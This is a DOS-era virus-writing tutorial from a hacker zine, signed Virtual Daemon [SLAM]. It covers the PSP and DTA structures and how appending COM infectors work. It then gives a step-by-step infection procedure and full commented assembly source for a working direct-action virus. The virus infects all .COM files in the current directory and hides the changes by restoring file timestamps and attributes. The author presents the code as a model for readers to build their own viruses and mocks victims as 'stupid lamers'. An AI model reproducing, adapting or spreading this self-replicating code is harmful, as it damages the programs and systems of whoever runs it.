Direct COM infection tutorial
by
Virtual Daemon [SLAM]

      This tutorial is dedicated to all those people out there, who have learned
    how to make an overwritting virus and now they want more. So, if you already
    know how to build a shitty COM infector, get the hell out of here now! :) You
    are only wasting your time with this crap.
      First of all I would like to say that COM viruses, are the lowest form of
    what we call a "real PC virus". If you've read my tutorial from the previous
    issue of SLAM Magazine about overwritting virii, and U still think that over-
    writting virii are good, then U really suck! That tutorial and the OVCT kit
    are only for those ppl who either are stupid and don't understand how to build
    a simple COM infector, either for the people who are too lazy for coding
    virii, and they don't care if they destroy other's programs. Anyway, I
    received about 20 e-mails from people who told me that my OVCT helped them in
    understanding virii, and in understanding the basics assembler stuff. Thx
    for mailing me, guys! This tutorial is for you! ;-)

      Well, let's get started... First we'll begin with a brief discusion about
    the COM programs!

      COM files are the simplest binary executable files. They are nothing else,
    but some memory images. When a COM program is executed, the DOS operating
    system will create a PSP (Program Segment Prefix).
      The PSP is nothing else but a DOS structure of 256 bytes length, where the
    operating system will keep some important informations, like some interrups
    handlers or the command line parameters. When the COM program is actually
    beginning it's execution, the ds:0000 and es:0000 will represent the beginning
    address of the PSP.
      The PSP musn't be so important for you right now, but anyway, I'll try to
    explain some of it's "features"... Maybe this way you'll get it better. And
    besides that, if you will learn about the PSP now, you wont have any trouble
    later when you will start coding your own virii.... So, here goes... ;)

    P.S.If you don't understand this or you think that this is too hard for you to
    understand right now, skip over, and read it later. Anyway, you will have to
    learn it sometime, either you like it or not... hehehe! :)

    The structure of the PSP looks like this:
    Offset   Size  Description
    ------   ----  -----------
      0h       2    INT 20h =  EXE programs may jump or ret here (PSP:0) to exit
      2h       2    MemTop  =  top of available system memory in paragraphs
      4h       1    DOS reserved area
      5h       5    CALL offset segment =  FAR CALL to DOS function dispatcher
     0ah       4    offset segment    =    Terminate address (INT 22h)
     0eh       4    offset segment    =    Ctrl+Break handler address (INT 23h)
     12h       4    offset segment    =    Critical error handler address (INT 24h)
     16h      16h   DOS reserved area
     2ch       2    EnvSeg  =  Segment address of DOS environment
     2eh      2eh   DOS reserved area
     5ch      10h   formatted parm area 1 = setup as an FCB for 1st cmd parameter
     6ch      14h   formatted parm area 2 = setup as an FCB for 2nd cmd parameter
     80h       1    len        offset of default DTA, also count of chars in UPA
     81h      7fh   UPA (Unformatted Parm Area) = chars from DOS command line

     Ok. Now let's explain what everything means...

    * The first 2 bytes from offset 0, contains the code of a INT 20h instruction
    (exit to DOS), which let any program to return to the operating system by
    JMP-ing to this address. This stuff is not used any more, bcoz the traditional
    method to return to the operating system is now "mov ah,4ch/int 21h".

    * The next 2 bytes from offset 2, contains the available memory size in para-
    graphs. A paragraph contains 16 bytes. This information is used in the
    loading process of the executable file.

    * The byte from 4 is reserved for the operating system.

    * The 5 bytes from offset 5 contains the code of a CALL instruction (far) to
    the DOS dispatcher.

    * The next 4 bytes from offset 0ah contains a terminate address. This address
    can be accesed with INT 22h. Int 22h is another method for terminating a DOS
    program. Also, like Int 20h, Int 22h isn't used.

    * The 4 bytes from 0eh contains the address of Int 23h (Ctrl+Break address)
    vector. As you all know (I hope), Ctrl+Break causes a program to terminate
    imediatly. If Break variable (can be set from config.sys) is on, DOS will
    sense Ctrl+Break during all functions except 6h (console I/O) and 7h (no echo
    unfiltered console input). If Break is off, DOS will only sense Ctrl+Break
    during console, printer and serial device I/O.

    * The 4 bytes from offset 12h contains the critical error handler (INT 24h)
    address. The Int 24h interrupt is activated when a driver encounters a critical
    error.

    * The following 22 bytes (16h) from offset 16h are reserved for DOS.

    * The next 2 bytes from 2ch contains the segment address of the DOS
    environment (or paragraph number of the environment). The DOS environment is
    an area of memory smaller then 32K where all the PATH's and SET's are saved.
    All the informations from this area are stored in a set of ASCIIZ strings.

    * The next 46 bytes (2eh) from offset 2eh are reserved for DOS.

    * The next 16 bytes (10h) from offset 5ch contains the first command line
    parameter specified.

    * The next 20 byte (14h) from offset 6ch contains the 2nd command line param.

    * The following byte from 80h contains the length of the DOS command line
    in bytes. Also, at 80h is stored the offset of the default DTA (Disk Transfer
    address).

    * The next 127 bytes (7fh) stored from offset 81h contains the DOS command
    line. The first 43 bytes from offset 80h are used as the default DTA.

      What do you have to learn from all this crap? One: in the PSP are stored
    important interrupt vectors such as Int 22h, Int 23h or Int 24h. Two: the PSP
    contains the DOS command line (program's parameters). Three: the PSP contains
    the amount of memory available for the program. Four: there are 0-2 FCB's for
    the file unopened. And five: the default DTA is stored at offset 80h of PSP.
      If you know all this stuff, then you can use them properly in your virii.
    What's important for our direct COM virus right now,  is the DTA area (stored
    at 80h). I will explain the structure of DTA a little later, after I finish
    with the COM programs.

      So, we've seen how the PSP looks. Like I told U before, the PSP is created
    by DOS when the program is executed. After that, the program will be loaded
    in memory right after the PSP (at 100h=256). So, the COM file starts at offset
    100h. Here's a little "graphic":

       CS:0000      .-------------.
                    |     PSP     |
       CS:0100      .-------------.
                    |      .      | \
                    |      .      |  |-> here goes the whole program
                    |      .      | /
       CS:FFFE      .-------------.
                    |      0      |
                    '-------------'

      The COM files can be run only in the current segment. The size of a segment
    is 64 KBytes. That means that the size of a COM file can't be bigger then
    64K-256(size of PSP)=65280. So, the file must have less then 65280-size of
    virus before infection. If we don't check for the size of the file, the PSP
    may get corrupted...

      Ok. Now that I've explained you how a COM file is loaded, let's get to the
    fun part: our virus!

      First, I'll try to explain what is the theory in infecting a COM file, and
    then I will show you the source code of a example virus.

      We have several methods to infect a COM file. We can append our virus to the
    end of the file, we can save a number of bytes from the beginning to the end
    and then we can put our virus at the beginning of file OR we can put the virus
    anywhere in the file... The last method is the trickiest one, and it's used
    only for researching purposes. To make it work, you need to recalculate a lot
    of stuff.
      I will try to talk about the 1st method (REAL appending), since this is more
    used then all the others.

      For infecting a COM file, theoretically you need to change the first 3 bytes
    of the program with a JMP to your virus which will be appended at the end of
    the host program. Then, after the virus has been executed you need to restore
    the original 3 bytes in memory so the original program can run. This way your
    virus gets to be executed first, and then you will pass control to the original
    program which will run normaly.

      Let's see how the program is gonna look after infection:
      Begin:
         Jmp virus          ;jump to our virus
      Real_program:         ;here begins the real program
         .
         .
         .
         .
      Virus:                ;our virus
         ..
         ..
         ..
         Jmp Real_program   ;pass control to the original program

      Okie, dokie! So, we have seen how your infected file is gonna look like...
    Before jumping into the infecting method, I must show you the structure of
    DTA (well, I think I already did it in my Overwritting Tut, but what the
    hell? ;)...

      Offset   Size   Description
      ------   ----   -----------
        0       21    reserved area  = used in subsequent calls to 4fh function
       15h       1    attr           = file attributes
       16h       2    time           = time of file created/last modified
       18h       2    date           = date of file created/last modified
       1ah       4    size           = file size in bytes
       1eh      13    name           = file name (13 bytes ASCIIZ filespec)

       Well, enough with the theory bullshit! Let's get to some action!!! ;-))

       Steps in creating a direct action appending COM infector:
    1) Calculate the Delta-offset
    2) Restore the original 3 bytes
    3) Set a new DTA
    4) Find a file to infect
      - if no files found then go to 20
      - else continue
    5) Save original file attributes (optional)
    6) Reset attributes to archive
    7) Open file for RW and put handle in BX
      - if error then go to 18
      - else continue
    8) Save original file time/date (optional)
    9) Read the 1st 3 bytes from file
    10) Check if already infected
      - if infected then go to 17
      - else continue
    11) Prepare the JMP
    12) Go to beginning of file
    13) Write new JMP
    14) Go to end of file
    15) Write the virus
    16) Restore original file time/date (optional)
    17) Close the file
    18) Restore original file attributes (optional)
    19) Find another file to infect
      - if no files found then go to 20
      - else jump to 5
    20) Restore original DTA
    21) Restore to host

       These are the steps in creating a direct COM infector. Note that this is
    not the simples COM infector! It contains a little more instruction then the
    simplest direct action infector! This virus will search the current directory
    and will infect all files found. It will also save/restore file time/date/
    attributes. And, it will check if the file is already infected.

       I wont take all the steps one by one with the appropriate asm function,
    bcoz, after reading my Overwritting Tut, you're suppose to know what function
    to use for finding a file or for opening one... Anyway, I WILL comment as much
    as I can the example virus. It's a very simple COM infector. I suggest you to
    use it from now on, as your model...

       Ok. Here's the source code... The source will show you the basics in
    creating a simple COM infector. You can do whatever you want with it...
       Read it, like it, love it, eat it! ;-)

       Oh,  btw: DO NOT SPREAD SHIT LIKE THIS!!! Wait till you're gonna do at least
    a TSR virus.... ;)

       Well, enjoy reading!   See ya' later dude!  Peace!   O:-)

    ---------- cut here ----------
    ; Virus Name: Example
    ; Virus Type: Direct appending COM infector
    ; Comments: - the virus will search and infect all the COM files from current
    ;             directory
    ;           - will check if a file has been already infected or not
    ;           - will save/restore file time/date/attributes
    ; Assemble with: tasm example.asm
    ;                tlink /t example.obj
    ;
    code segment
       assume cs:code,ds:code
       org 100h                     ;starts at 100h => COM File

    begin:
       db 0e9h                      ;jmp start ('db 0e9h' contains the JMP code)
       dw 0                         ;'dw 0' containts the offset (where to JMP)

    start:
       call find_offset             ;must find out the real delta offset
    find_offset:
    ;calculate the delta offset
       pop bp                       ;bp holds IP
       sub bp,offset find_offset    ;find the delta offset (BP='delta offset' now)

    ;restore the original 3 bytes in memory
       lea si,[bp+jmpbuf]           ;change the first 3 bytes to original
       mov di,100h                  ;100h=where the program begins
       push di                      ;save di=100h for retn (return to program)
       movsw                        ;move a word from ds:si in memory \
                                    ;                                  |=> 3 bytes
       movsb                        ;move a byte -------- " " ------- /

    ;set a new DTA buffer. Note that the size of DTA is 42 bytes.
       lea dx,[bp+dta]              ;set a new DTA buffer
       mov ah,1ah                   ;DOS function=Set Disk Transfer Address
       int 21h

    find_file:
    ;find a file to infect
       mov ah,4eh                   ;DOS function=Find 1st Matching File
       mov cx,7                     ;any file attribute
       lea dx,[bp+filespec]         ;search for "filespec" files only (.COM)
    again:                          ;label for find next
       int 21h
       jnc get_atributes            ;if no error encountered go further
       jmp quit                     ;else return to host

    get_atributes:
    ;well like I said before, the name of the file is stored in DTA at 1eh (30)
       lea dx,[bp+dta+1eh]          ;dx holds the name of the file
       xor ch,ch
       mov cl,[bp+offset dta+15h]   ;get file attributes from DTA
       mov byte ptr[bp+file_attr],cl       ;save them into file_attr variable

    set_atributes:
    ;set archive only attribute to file, so we can infect it. We can't infect a
    ;read only file unless we do this stuff.
       mov ax,4301h                 ;DOS function=Set File Attribute
       xor cx,cx                    ;cx=0 => file attribute=normal file
       int 21h
    open_file:
    ;open the file for infection (read + write)
       mov ax,3d02h                 ;DOS function=Open a File (for R & W)
       lea dx,[bp+dta+1eh]          ;dx holds the name of the file
       int 21h
       jnc prepare_infection        ;if file was opened go to infection part
       jmp put_old_atributes        ;else go and put old atributes back
    prepare_infection:
    ;the open function will return the file handle in ax, BUT all the other
    ;functions need it in bx, so we have to change the content of ax with bx
       xchg bx,ax                   ;change bx with ax

    ;save original file time/date. This is necessary if we want to cover our tracks
    ;At the end of the virus, we'll restore this values, so the user will think
    ;that this was the last time his file got modified. hehehe...Stupid lamers! ;)
       mov ax,5700h                 ;DOS function=Get File Time/Date
       int 21h
       mov word ptr [bp+file_time],cx     ;save old time in file_time
       mov word ptr [bp+file_date],dx     ;save old date in file_date
    check:
    ;read the 1st 3 bytes from file to check if the file has been already infected
       mov ah,3fh                   ;DOS function=Read from File
       lea dx,[bp+jmpbuf]           ;save them into jmpbuf
       mov cx,3                     ;read 3 bytes
       int 21h

       mov ax,word ptr [bp+dta+26]        ;Get filesize from DTA in ax
    ;after the following instruction, the cx register will contain the size of the
    ;file before infection... Why? Because our virus was suppose to jump to the
    ;end of the file, where it's code was stored... :)
       mov cx,word ptr [bp+jmpbuf+1]
       add cx,heap-start+3          ;cx=filesize-virus+3
       cmp cx,ax                    ;compare the 2 values
    ;if the 2 values are equal, the file has been already infected
       jne infect                   ;if not equal then infect file
       jmp close_file               ;else close_file

    infect:
    ;the following 4 lines will prepare the JMP code which will be placed at the
    ;beginning of the file. Note that the 1st byte is the JMP code (0e9h) and the
    ;next 2 bytes are the offset (the adress where to jump).
       mov byte ptr[bp+buffer],0e9h       ;JMP code
       mov ax,word ptr[bp+dta+26]         ;get file size
       sub ax,3                           ;ax=filesize-3 (size of JMP)
       mov word ptr[bp+buffer+1],ax       ;offset of JMP

    ;here we seek to the beginning of file
       mov ax,4200h                 ;DOS function=Set File Pointer
       xor cx,cx                    ;go to beginning of file (BOF)
       xor dx,dx
       int 21h

    ;write the new JMP instruction which will jump to our virus when the file gets
    ;executed
       mov ah,40h                   ;DOS function=Write to File
       mov cx,3                     ;write 3 bytes to beginning of file
       lea dx,[bp+buffer]           ;from buffer
       int 21h

    ;seek to end of the file
       mov ax,4202h                 ;DOS function=Set File Pointer
       xor cx,cx                    ;go to end of file (EOF)
       xor dx,dx
       int 21h

    ;write the whole virus code
       mov ah,40h                   ;DOS function=Write to File
       mov cx,heap-start            ;size of virus
       lea dx,[bp+start]            ;from beginning
       int 21h

    close_file:
    ;restore original file time/date values
       mov dx,word ptr [bp+file_date]     ;dx=original date value
       mov cx,word ptr [bp+file_time]     ;cx=original time value
       mov ax,5701h                 ;DOS function=Set File Time/Date
       int 21h

    ;close the file
       mov ah,3eh                   ;DOS function=Close File
       int 21h
    put_old_atributes:
    ;restore the original file attributes
       mov ax,4301h                 ;DOS function=Set File Attribute
       lea dx,[bp+offset dta+1eh]   ;dx=file name
       xor ch,ch
       mov cl,byte ptr [bp+file_attr]     ;cl=original file attribute
       int 21h
    find_next:
    ;search for another file to infect
       mov ah,4fh                   ;DOS funtion=Find Next Matching File
       jmp again                    ;do it!

    quit:
    ;restore the default DTA
       mov dx,80h   ;change the DTA to original (DTA is stored at 80h in the PSP)
       mov ah,1ah   ;DOS function=Set Disk Transfer Address
       int 21h

       retn         ;pass control to the host program in memory

    jmpbuf           db 0cdh,20h,0          ;=int 20h
    filespec         db '*.com',0           ;what kind of files to search
    virus_sign       db 'Direct-COM'        ;name of the virus. Kinda cool, ha? ;)

    heap:
    dta        db 43 dup (?)                ;our new DTA buffer
    file_attr  db ?                         ;original file attributes
    file_time  dw ?                         ;original file time
    file_date  dw ?                         ;original file date
    buffer     db 3 dup(?)                  ;3 bytes buffer. Used for checking
                                            ;if the file was already infected.
    code ends
    end begin
    ---------- cut here ----------

      You can reach me via e-mail at: virtual_daemon@hotmail.com